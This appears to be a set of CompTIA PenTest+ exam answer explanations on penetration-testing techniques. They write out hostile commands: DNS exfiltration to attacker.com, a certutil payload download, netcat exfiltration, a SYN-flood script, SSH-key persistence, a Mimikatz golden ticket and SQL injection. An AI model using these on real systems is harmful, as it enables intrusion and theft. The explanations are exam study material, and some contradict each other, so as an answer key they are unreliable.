LSASS Dumping: Involves extracting credentials from the LSASS process on a Windows machine, often requiring local admin privileges.

Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

======

To assess wireless communication disruptions, channel scanning is used to identify active Wi-Fi channels, allowing testers to target specific frequencies for jamming or deauthentication attacks.

Option A (Port mirroring) ?: Used for network traffic monitoring, not wireless disruption.

Option B (Sidecar scanning) ?: Not a commonly used technique in wireless testing.

Option C (ARP poisoning) ?: Used to manipulate ARP tables on wired networks, not for wireless interference.

Option D (Channel scanning) ?: Correct.

Identifies which Wi-Fi channels are in use.

Helps perform jamming, deauthentication, or interference attacks.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Wireless Attacks and Security Testing

Shodan is a search engine that specializes in finding internet-connected devices, including ICS, IoT, webcams, routers, and servers. Attackers and security professionals use Shodan to scan for publicly accessible systems that may be vulnerable.

Option A (theHarvester) ?: theHarvester is primarily used for OSINT (Open-Source Intelligence) gathering, such as email addresses, subdomains, and hostnames, but it does not specialize in ICS/IoT discovery.

Option B (Shodan) ?: Correct. Shodan scans the internet for connected devices and services, allowing penetration testers to find ICS/IoT systems that are exposed.

Option C (Amass) ?: Amass is used for subdomain enumeration and DNS reconnaissance, not for ICS or IoT discovery.

Option D (Nmap) ?: Nmap is a port scanner that can identify live hosts and open ports, but it does not search for publicly available systems on a large scale like Shodan.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – OSINT and Reconnaissance

The correct answer is B. Perform privilege escalation.

The command:

netsh advfirewall set domainprofile state off

attempts to disable the Windows Firewall for the domain profile. Changing firewall settings requires administrative privileges. If the tester has shell access but the command fails, the most likely reason is that the current shell does not have sufficient privileges.

The tester should attempt privilege escalation to gain the required administrative or SYSTEM-level permissions before modifying firewall settings.

A is incorrect because finding other attack paths may be useful later, but the immediate issue is insufficient privilege.

C is incorrect because validating the target system’s fingerprint does not resolve a permissions failure when running a privileged Windows command.

D is incorrect because gathering more network data does not correct the inability to modify local firewall configuration.

In PenTest+ terms, this falls under Attacks and Exploits, specifically post-exploitation actions, privilege escalation, and executing commands that require elevated permissions on a compromised host.

A peer review ensures the accuracy, completeness, and objectivity of a penetration test report.

Option A (Risk analysis) ?: Helps prioritize vulnerabilities but does not validate report accuracy.

Option B (Peer review) ?: Correct.

Ensures report accuracy and consistency.

Identifies misinterpretations or missing details.

Option C (Root cause analysis) ?: Helps in remediation but does not verify report quality.

Option D (Client acceptance) ?: A client review is final verification, but peer review happens earlier to ensure accuracy.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Reporting & Quality Assurance

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target ' s system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

Understanding the Script:

ip = IP( " 192.168.50.2 " ): Sets the destination IP address to 192.168.50.2.

tcp = TCP(sport=RandShort(), dport=80, flags= " S " ): Creates a TCP packet with a random source port, destination port 80, and the SYN flag set.

raw = RAW(b " X " *1024): Adds 1024 bytes of data to the packet.

p = ip/tcp/raw: Combines the IP, TCP, and RAW layers into a single packet.

send(p, loop=1, verbose=0): Sends the packet in an infinite loop without verbose output.

Purpose of SYN Flood:

Resource Exhaustion: By sending numerous SYN requests, the target’s connection table fills up, preventing legitimate connections.

Denial of Service: The target system becomes overwhelmed and unable to process further requests, effectively causing a denial of service.

Detection and Mitigation:

Rate Limiting: Implement rate limiting on SYN packets.

SYN Cookies: Use SYN cookies to handle the connection requests without allocating resources immediately.

Firewalls and IDS: Deploy firewalls and Intrusion Detection Systems (IDS) to detect and mitigate SYN flood attacks.

References from Pentesting Literature:

SYN flood attacks are a classic example of a denial-of-service attack and are commonly discussed in penetration testing guides and HTB write-ups for understanding network-based attacks.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here’s an analysis of each tool and why Kube-hunter is the best choice:

Trivy (Option A):

Trivy is a vulnerability scanner for container images and filesystem.

Capabilities: While effective at scanning container images for vulnerabilities, it is not specifically designed to assess the security of a container orchestration cluster itself.

Nessus (Option B):

Nessus is a general-purpose vulnerability scanner that can assess network devices, operating systems, and applications.

Capabilities: It is not tailored for container orchestration environments and may miss specific issues related to Kubernetes or other orchestration systems.

Grype (Option C):

Grype is a vulnerability scanner for container images.

Capabilities: Similar to Trivy, it focuses on identifying vulnerabilities in container images rather than assessing the overall security posture of a container orchestration cluster.

Kube-hunter (Answer: D):

Kube-hunter is a tool specifically designed to hunt for security vulnerabilities in Kubernetes clusters.

Capabilities: It scans the Kubernetes cluster for a wide range of security issues, including misconfigurations and vulnerabilities specific to Kubernetes environments.

The find command shown here recursively searches the entire filesystem (/) for files (-type f) and lists them with detailed information (-ls), including file ownership, group, size, and permissions. The results are then redirected into /tmp/recon.txt.

This is typically performed as part of post-exploitation local enumeration to gather information on:

Files and their permission settings.

Potential world-writable or sensitive files (e.g., /etc/shadow, SSH keys, config files).

Misconfigurations that could lead to privilege escalation.

Thus, the tester’s main objective is permission enumeration — identifying files and directories with insecure permissions that could be exploited.

Why not the others:

B. Secrets enumeration: While secrets might later be found in files, the command’s intent is general permission/file listing, not targeted secret extraction.

C. User enumeration: The command doesn’t list users or accounts (no /etc/passwd or who queries).

D. Service enumeration: This doesn’t inspect running services or open ports.

CompTIA PT0-003 Objective Mapping:

Domain 2.0: Information Gathering and Vulnerability Scanning

2.5: Perform local enumeration on compromised hosts (e.g., file and permission enumeration).

Identified Weaknesses:

Weaker password settings than the company standard: Indicates inconsistency in password policies across systems.

Systems without the company ' s endpoint security software installed: Suggests lack of uniformity in security software deployment.

Operating systems not updated by the patch management system: Points to gaps in patch management processes.

Configuration Management System:

Definition: A configuration management system automates the deployment, maintenance, and enforcement of configurations across all systems in an organization.

Benefits: Ensures consistency in security settings, software installations, and patch management across the entire environment.

Examples: Tools like Ansible, Puppet, and Chef can help automate and manage configurations, ensuring compliance with organizational standards.

Other Recommendations:

Vulnerability Management System: While adding systems to this system helps track vulnerabilities, it does not address the root cause of configuration inconsistencies.

Endpoint Detection and Response (EDR): Useful for detecting and responding to threats, but not for enforcing consistent configurations.

Patch Management: Patching systems addresses specific vulnerabilities but does not solve broader configuration management issues.

Pentest References:

System Hardening: Ensuring all systems adhere to security baselines and configurations to reduce attack surfaces.

Automation in Security: Using configuration management tools to automate security practices, ensuring compliance and reducing manual errors.

Implementing a configuration management system addresses the root issue by ensuring consistent security configurations, software deployments, and patch management across the entire environment.

======

The script iterates through a list of target hosts and sends an HTTP request to a vulnerable endpoint (atod.php) with a parameter (execf=) that appears to trigger remote command execution on each device. The command being issued is echo " ssh-ed25519 ... " followed by an append redirection operator ( > > ) into a file under /root/authorized_users. The ssh-ed25519 string is the format of an SSH public key, and appending a public key into an “authorized users/keys” style file is a common persistence technique that allows the tester (or an attacker) to authenticate via SSH without knowing a password.

In PenTest+ terms, this is establishing persistence/backdoor access after exploitation by planting an authentication mechanism that can be reused later. It is not creating a bind shell (no listener is set up), not changing a root password (no passwd or hash modification is shown), and not generating keys for decryption (the key material is being written to an authorization file for access). The loop indicates the intent is to apply this across multiple affected devices.

Lock picking techniques are used in physical security assessments to test access control mechanisms.

Raking (Option D):

Raking is a lock-picking technique where a rake pick is inserted and rapidly moved in and out to manipulate multiple pins simultaneously.

It is faster but less precise than single-pin picking.

Used when speed is prioritized over precision.

In a Windows Workgroup environment, systems are not centrally managed by Active Directory, and common domain-based lateral movement techniques (such as Kerberos ticket forging) generally do not apply because there is no domain controller or Kerberos trust relationship to leverage. Since the tester already has local administrator rights on the compromised host, the next logical step for lateral movement is to obtain credentials that can authenticate to other hosts—such as local account passwords, NTLM hashes, or cached credentials—so the tester can attempt SMB/WMI/WinRM/RDP access elsewhere.

Dumping credentials from memory (often by targeting the authentication subsystem where credentials and hashes may be present during active sessions) supports exactly this goal: it enables “reuse” opportunities like pass-the-hash or testing whether the same local admin password exists across multiple workgroup machines. Creating a malicious certificate is not the most direct path to lateral movement here. Listing privilege escalation paths is unnecessary because the tester already has admin. Crafting Kerberos tickets is domain-centric and least applicable in a workgroup.

The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.

The two entries in the robots.txt file that the penetration tester should recommend for removal are:

Allow: /admin

Allow: /wp-admin

These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application’s backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.

Scapy is a powerful interactive Python-based packet manipulation tool used by penetration testers to create, modify, send, and analyze custom packets. It supports many protocols and allows you to set TCP flags, sequence numbers, and more.

tcprelay is used to redirect TCP traffic, not to craft packets.

Bluecrack is used for cracking Bluetooth encryption, irrelevant in this context.

tcpdump is a packet capture tool, not suitable for crafting or injecting packets.

ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.

Understanding ProxyChains:

Purpose: ProxyChains allows you to force any TCP connection made by any given application to follow through proxies like TOR, SOCKS4, SOCKS5, and HTTP(S).

Usage: It’s commonly used to anonymize network traffic and perform actions through an intermediate proxy.

Command Breakdown:

proxychains nmap -sT < target_cidr > : This command uses ProxyChains to route the Nmap scan traffic through the configured proxies.

Nmap Scan (-sT): This option specifies a TCP connect scan.

Setting Up ProxyChains:

Configuration File: ProxyChains configuration is typically found at /etc/proxychains.conf.

Adding Proxy: Add the compromised host as a SOCKS proxy.

Step-by-Step Explanationplaintext

Copy code

socks4 127.0.0.1 1080

Execution:

Start Proxy Server: On the compromised host, run a SOCKS proxy (e.g., using ssh -D 1080 user@compromised_host).

Run ProxyChains with Nmap: Execute the command on the attacker ' s host.

proxychains nmap -sT < target_cidr >

References from Pentesting Literature:

ProxyChains is commonly discussed in penetration testing guides for scenarios involving pivoting through a compromised host.

HTB write-ups frequently illustrate the use of ProxyChains for routing traffic through intermediate systems.

A screenshot of a computer Description automatically generated

A screenshot of a computer screen Description automatically generated

Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

Restrict direct communications to App01.example.com to only approved components.

Require an additional authentication header value between CDN.example.com and App01.example.com.

Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.

Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.

App Server has open ports for HTTP, HTTPS, and filtered for MySQL.

DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

An HTTP 403 Forbidden response indicates the server understood the request but is refusing to authorize it. In PenTest+ web assessment context, a common cause is an access control requirement at the web server or reverse proxy layer—such as mutual TLS (mTLS) / client certificate authentication, IP allowlisting, or other authorization gates—preventing the tester from reaching the application content. When a site is configured to require a client certificate, the server may return a 403-class error if the request does not include a trusted certificate chain, because the client cannot be authenticated to an approved identity. Therefore, obtaining and presenting a valid X.509 client certificate (issued by a trusted CA for that environment or provided by the client as part of the engagement) is the appropriate step to satisfy the access requirement and proceed with testing.

Resetting server file permissions is an administrative remediation action outside a tester’s role and scope. Spoofing a server MAC address is not meaningful for HTTP access and typically not possible across routed networks. Using a legacy browser addresses client-side compatibility, not server-side authorization decisions that produce 403.

Obtaining a wireless preshared key (PSK) in a WPA/WPA2-Personal environment typically relies on capturing the 4-way handshake (or equivalent key exchange) between a client and the access point. PenTest+ emphasizes that the handshake is captured when a client authenticates or reauthenticates to the network; once the handshake is collected, the tester can attempt an offline password attack to determine the PSK (subject to rules of engagement and authorization).

Using aireplay-ng to perform a deauthentication attack forces connected clients to disconnect and then automatically reconnect, which triggers a new handshake that can be captured by the tester’s monitoring interface. This directly supports the goal of acquiring material needed to recover the PSK.

An evil twin (A) and captive portal (C) are social-engineering approaches more aligned with credential harvesting for enterprise/portal-based access, not reliably extracting a WPA2-PSK. Password spraying with Hydra (B) targets online login services and is not applicable to cracking a WPA/WPA2 PSK, which is derived from the handshake and performed offline.

The correct answer is B. ssh compromised_user@victimhost " sudo -l "

The output shown in the question is produced by the sudo -l command, which lists the commands a user is allowed to run with elevated privileges.

The key finding is:

root (NO PASSWD): /bin/vim

This means compromised_user can run /bin/vim as root without entering a password. That is a local privilege escalation risk because vim can be abused to execute commands with elevated privileges when permitted through sudo.

To validate whether another host has the same weakness, the tester should enumerate that user’s sudo privileges on the other host:

ssh compromised_user@victimhost " sudo -l "

A is incorrect because running vim only confirms that the program can execute, not that it can be run as root through sudo.

C is incorrect because running bash -c vim only starts vim through Bash and does not validate sudo permissions.

D is incorrect because listing /bin/vim only confirms the file exists and shows file permissions. The vulnerability is the sudo misconfiguration, not the presence of the vim binary.

This attack attempts to manipulate the API by fuzzing the authorization token (Authorization: Bearer (FUZZ)). This suggests an attempt to bypass authentication or escalate privileges by using an invalid, stolen, or guessed token—a form of API abuse.

Option A (Directory traversal) ?:

Involves manipulating file paths (e.g., ../../../etc/passwd), but this attack targets API authentication.

Option B (API abuse) ?:

Correct. Fuzzing the authorization token suggests an attempt to bypass authentication or test for weak API security.

Option C (Server-side request forgery - SSRF) ?:

SSRF manipulates backend requests to make unauthorized HTTP calls, which is not evident here.

Option D (Privilege escalation) ?:

While API abuse may lead to privilege escalation, fuzzing the token alone does not directly escalate privileges.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – API Security Testing & Authentication Bypasses

Shoulder surfing es el método más efectivo en este contexto. Cuando los ejecutivos trabajan en lugares públicos como trenes, un atacante puede visualizar sus pantallas sin ser detectado para recopilar datos confidenciales.

Credential harvesting requiere phishing o explotación directa. Bluetooth spamming y MFA fatigue no aplican directamente en un entorno de observación física.

Referencia: PT0-003 Objective 2.1 – Social engineering and physical observation methods.

During an active PenTest+ engagement, goal changes are most commonly driven by new, material risk that affects the client’s threat landscape or business exposure. A publicly disclosed zero-day vulnerability can immediately change what the organization considers most critical because it may be actively exploited in the wild, may impact internet-facing systems, and may require urgent validation of compensating controls, patch readiness, or exposure level. In PenTest+ planning and scoping practices, the tester and client may revisit priorities mid-engagement when emerging threats create a higher likelihood of compromise or when leadership requires rapid answers (for example, “Are we vulnerable?” and “Can you prove impact?”).

Decommissioning an end-of-life server (A) typically reduces scope rather than reprioritizing goals, and it is a routine operational change. Not capturing artifacts (C) is a tester process/quality issue addressed through engagement management, not a client-driven reprioritization trigger. Assigning a new lead tester (D) is a staffing change and should not alter the client’s goals unless scope and requirements change. The zero-day disclosure is the clearest driver for reprioritization.

Session fixation occurs when an application accepts a session identifier provided by the client (or set before authentication) and continues to use that same identifier after the user authenticates. In this scenario the server issues the same cookie value both before and after login, indicating the session ID is set pre-authentication and not rotated/renewed on successful authentication — a classic session fixation vulnerability. An attacker could force or coerce a victim to use a known session ID, then log in and hijack the authenticated session.

Why not the others:

A. JWT manipulation: Would involve JSON Web Tokens (signed tokens with predictable structure); the cookie shown has no JWT structure.

B. Cookie poisoning: Usually refers to unauthorized modification of cookie contents to change application behavior — not the primary issue here.

D. Collision attack: Cryptographic collision attacks are not relevant to identical session cookies before/after login.

CompTIA PT0-003 Mapping:

Domain 3.0 Attacks and Exploits — web application session management vulnerabilities (session fixation, improper session handling).

In a container orchestration environment (for example, Kubernetes), the most valuable vulnerability scanning capability is one that understands container images, packages, and misconfigurations that commonly occur in containerized workloads. Trivy is specifically designed for container security assessment: it scans container images and the underlying OS/application dependencies for known vulnerabilities and can also identify misconfigurations relevant to cloud-native deployments. This aligns closely with PenTest+ guidance that testers should choose tools that match the technology stack being assessed—container ecosystems require image- and dependency-aware scanning rather than only traditional host/service scanning.

NSE (Nmap Scripting Engine) is excellent for network discovery and service enumeration, but it does not provide comprehensive container image vulnerability coverage. Nessus is a general-purpose vulnerability scanner and can be useful for hosts, but it is not as directly focused on container image supply chain issues and cluster workload artifacts as a dedicated container scanner. CrackMapExec (CME) is aimed at Windows/AD enumeration and lateral movement, not container vulnerability scanning. Therefore, Trivy is the best fit for scanning a container orchestration cluster environment.

Containers (e.g., Docker, Kubernetes) require specialized scanning tools to detect vulnerabilities.

Trivy (Option B):

Trivy is an open-source vulnerability scanner designed specifically for containers and Kubernetes environments.

It scans container images, repositories, and running containers for known vulnerabilities (CVEs).

PenTest+ differentiates password spraying from brute-force attacks. Brute force (as shown in A, C, and D) rapidly tests many passwords per user, producing a high rate of failed logins that commonly triggers defensive controls such as rate limiting, account lockout policies, WAF/IDS alerts, and IP reputation blocks. This is especially true in federated authentication flows, where identity providers and reverse proxies log and correlate repeated failures.

Option B reflects a spraying approach that is designed to be low-and-slow and policy-aware. A spraying tool that supports building an execution plan and adding delays between authentication attempts reduces the likelihood of crossing thresholds that cause automated blocking. In PenTest+ terms, this aligns with conducting authentication testing in a controlled manner to avoid service disruption and to minimize detection while still validating whether weak or reused passwords exist.

Therefore, the spraying approach with built-in pacing and planning has the least likelihood of getting the tester’s IP blocked compared to high-volume brute-force loops or Hydra-style rapid attacks.

The correct answer is D. Hydra

Hydra is a password-attack tool commonly used to test authentication services such as SSH, FTP, Telnet, RDP, HTTP, SMB, and others. In this scenario, the tester has a leaked password list and wants to verify whether any of those passwords can authenticate to an SSH server as a valid user. Hydra is the most appropriate tool because it can automate login attempts against SSH using usernames and password lists.

A is incorrect because BloodHound is used to analyze Active Directory relationships and identify attack paths. It is not used to test SSH logins with password lists.

B is incorrect because Responder is used to capture or poison network authentication traffic, commonly NTLM-related traffic. It is not the best tool for testing leaked passwords against SSH.

C is incorrect because Burp Suite is primarily used for web application testing. While it can test web logins, it is not designed for SSH authentication testing.

In PenTest+ terms, this falls under Attacks and Exploits, specifically password attacks, credential validation, and authentication testing against remote services.

The application is giving distinct error messages for valid vs. invalid usernames. This is a classic case of user enumeration, where an attacker can determine valid accounts before proceeding to brute-force or password attacks.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 6 – Vulnerability Identification):

“Authentication systems that return different error messages based on the validity of the username can allow attackers to enumerate valid accounts.”

CrackMapExec (CME) is the best choice because it supports authenticated enumeration against Active Directory and can retrieve domain configuration information—including password policy details—using valid domain credentials. In the PenTest+ methodology, once a tester has a standard domain account, a common next step is to enumerate domain settings that influence attack feasibility and safety, such as minimum password length, complexity requirements, lockout threshold, lockout duration, and password history. These values directly inform how to build a “policy-aware” custom wordlist and how to tune dictionary or spraying attempts to remain within rules of engagement and avoid triggering lockouts.

Responder is primarily used for LLMNR/NBT-NS poisoning and capturing or relaying authentication on local networks; it does not query AD policy as its main function. Hydra is a login brute-force tool that performs attacks, not policy retrieval. msfvenom is a payload generator used for exploitation and post-exploitation delivery, unrelated to enumerating AD password policy. Therefore, CME is the most appropriate tool to retrieve the password policy for informed dictionary construction.

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here’s why:

Code Repository Scanning:

Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.

Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

Comparison with Other Methods:

HTML Scraping: Limited to the data present on web pages and can still be blocked by WAF.

Directory Enumeration: Likely to be blocked by WAF as well and might not yield significant internal information.

Port Scanning: Also likely to be blocked or trigger alerts on WAF or IDS/IPS systems.

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

======

A screenshot of a computer Description automatically generated

The correct answer is A. SQL injection

The request contains a login attempt with the password value:

admin ' or '

This is characteristic of a SQL injection test because the tester is inserting SQL syntax into an input field to manipulate the backend database query. The single quote attempts to break out of the expected string value, and the OR condition attempts to alter the logic of the authentication query.

For example, a vulnerable login query might be manipulated so that the condition always evaluates as true, allowing authentication bypass.

B is incorrect because session hijacking involves stealing or reusing a valid session token or cookie. Although a cookie is present in the request, the attack shown is focused on the login input, not on taking over an existing session.

C is incorrect because brute forcing involves repeatedly trying many username or password combinations. The question shows a crafted payload, not repeated credential guessing.

D is incorrect because cross-site scripting involves injecting JavaScript or HTML into a web page so it executes in a user’s browser. The payload shown is SQL-like syntax, not client-side script code.

In PenTest+ terms, this falls under Attacks and Exploits, specifically web application attacks and authentication bypass attempts using SQL injection.

STRIDE is a threat classification model created by Microsoft that breaks down threats into six categories:

Spoofing

Tampering

Repudiation

Information disclosure

Denial of Service

Elevation of privilege

It is specifically designed for threat modeling.

PTES is a general pentesting methodology.

OSSTMM is a framework for operational security testing.

OCTAVE is a risk assessment methodology, not focused on threat classification.

The command find / -user root -perm -4000 -exec ls -ldb {} \; 2 > /dev/null is used to find files with the SUID bit set. SUID (Set User ID) permissions allow a file to be executed with the permissions of the file owner (root), rather than the permissions of the user running the file.

Understanding the Command:

find /: Search the entire filesystem.

-user root: Limit the search to files owned by the root user.

-perm -4000: Look for files with the SUID bit set.

-exec ls -ldb {} \;: Execute ls -ldb on each found file to list it in detail.

2 > /dev/null: Redirect error messages to /dev/null to avoid cluttering the output.

Purpose:

Enumerating SUID Files: The command is used to identify files with elevated privileges that might be exploited for privilege escalation.

Security Risks: SUID files can pose security risks if they are vulnerable, as they can be used to execute code with root privileges.

Why Enumerate Permissions:

Identifying SUID files is a crucial step in privilege escalation as it reveals potential attack vectors that can be exploited to gain root access.

References from Pentesting Literature:

Enumeration of SUID files is a common practice in penetration testing, as discussed in various guides and write-ups.

HTB write-ups often detail how finding and exploiting SUID binaries can lead to root access on a target system.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

======

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly those related to web browsers and interactions.

Browser Exploitation Framework (BeEF) (Answer: A):

BeEF is a powerful tool specifically designed for exploiting web browser vulnerabilities. It can hook web browsers and perform a wide range of attacks, including CSRF.

Capabilities: BeEF is equipped with modules to create CSRF attacks, capture session tokens, and gather sensitive information from the target user ' s browser session.

In PenTest+ tradecraft, “living off the land binaries” (LOLbins) are legitimate, built-in Windows utilities that can be repurposed to blend in with normal administrative activity. For exfiltration, the key requirement is a native capability to transfer data out over common network channels without introducing obvious third-party tools. bitsadmin.exe (Background Intelligent Transfer Service administration) is widely associated with this because it can create and manage BITS jobs that upload or download files using HTTP/HTTPS in a way that often appears similar to routine Windows background traffic. This makes it a common choice for stealthy file movement and staged transfers during post-exploitation.

By comparison, procdump.exe is typically used for process memory dumping (often credential-related) rather than transporting files off-host. msbuild.exe is commonly abused for code execution via inline tasks or project files, not primarily for exfiltration. cscript.exe runs scripts (VBScript/JScript) and could be used to script many actions, but it is not as directly aligned with built-in, job-based network file transfer as bitsadmin. Therefore, bitsadmin.exe best fits the exfiltration objective.

An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.

Option A is correct because it aligns with the assessment goal—finding public-facing systems and their vulnerabilities before an attacker does.

Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.

Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.

Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.

PowerView is a PowerShell tool used for Active Directory enumeration. It is part of the PowerSploit framework and allows penetration testers to gather detailed information about the AD environment, including user accounts, groups, computers, shares, and trust relationships.

PowerView is most commonly used to:

Enumerate domain users, groups, and memberships

Identify privileged users and group memberships

Discover domain trusts and permissions

According to the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 – Post-Exploitation and Lateral Movement):

“PowerView is a post-exploitation tool used primarily for Active Directory reconnaissance, including user and group enumeration, identifying domain trusts, and mapping out the AD structure.”

This command uses Mimikatz’ kerberos::golden module to forge a Golden Ticket, which is a fabricated Kerberos Ticket Granting Ticket (TGT) created using the domain’s Kerberos key material (commonly the KRBTGT hash, supplied here as an RC4 key). In PenTest+ post-exploitation tradecraft, a Golden Ticket allows an attacker to impersonate arbitrary users and obtain Kerberos service tickets without performing legitimate logon steps. The inclusion of /service:CIFS and /target: dc01.test.local indicates the tester intends to access the domain controller’s SMB/CIFS service using Kerberos authentication. The /ptt switch (“pass-the-ticket”) injects the forged ticket into the current session so the system will present it automatically to services.

The goal is therefore to bypass normal authentication controls by using a forged Kerberos ticket to gain authorized access to resources (like SMB shares) as a chosen identity. It is not share enumeration itself, not credential harvesting, and not password spraying.

Top of Form

The EPSS (Exploit Prediction Scoring System) estimates how likely a vulnerability is to be exploited. Higher EPSS scores indicate a higher likelihood of exploitation.

Option A (Target 1) ?:

EPSS 0.6 (60% chance of exploitation)

CVSS 4 (Medium severity)

? Best candidate since it has the highest likelihood of exploitation.

Option B (Target 2) ?: EPSS 0.3 (30%) is lower, making it less likely to be attacked.

Option C (Target 3) ?: EPSS 0.6 is high, but CVSS 1 is very low, meaning the vulnerability is not critical.

Option D (Target 4) ?: CVSS 4.5 is higher, but EPSS 0.4 is lower, meaning attackers are less likely to exploit it.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Vulnerability Prioritization with EPSS & CVSS

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo " Sensitive Data " | base64 | nslookup -q=TXT attacker.com

The attacker is attempting to access restricted files by navigating directories beyond their intended scope.

Directory Traversal (Option C):

The request uses encoded " ../ " sequences (%2e%2e%2f = ../) to move up directories and access /etc/passwd.

This is a classic directory traversal attack aimed at accessing system files.

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring( " http://172.16.0.1/ " ) (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

======

Given the firewall policy, let ' s analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data & & nc -w 3 < remote_server > 443 < /tmp/data.tar.gz

This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

Option B: gzip /path/to/data & & cp data.gz < remote_server > 443

This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

Option C: gzip /path/to/data & & nc -nvlk 443; cat data.gz | nc -w 3 < remote_server > 22

This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

Option D: tar -zcvf /tmp/data.tar.gz /path/to/data & & scp /tmp/data.tar.gz < remote_server >

This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.

References from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A??.

Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc??.

Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port??.

======

The Domain Name System (DNS) is commonly used for covert exfiltration because it is an essential protocol in most networks and is less likely to be scrutinized compared to other methods. Here ' s how DNS exfiltration works:

Mechanism:

Data is encoded into DNS queries or responses, such as using subdomain fields to transmit sensitive information.

These queries are sent to a malicious DNS server controlled by the attacker, allowing data to bypass traditional detection mechanisms.

Why It Remains Undetected:

DNS traffic is frequently allowed and not as heavily monitored compared to other channels like HTTP or email.

Network security tools often prioritize operational DNS traffic, making detection of anomalies more challenging.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Domain 5.0 (Reporting and Communication)

Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here ' s why:

Credential Dumping:

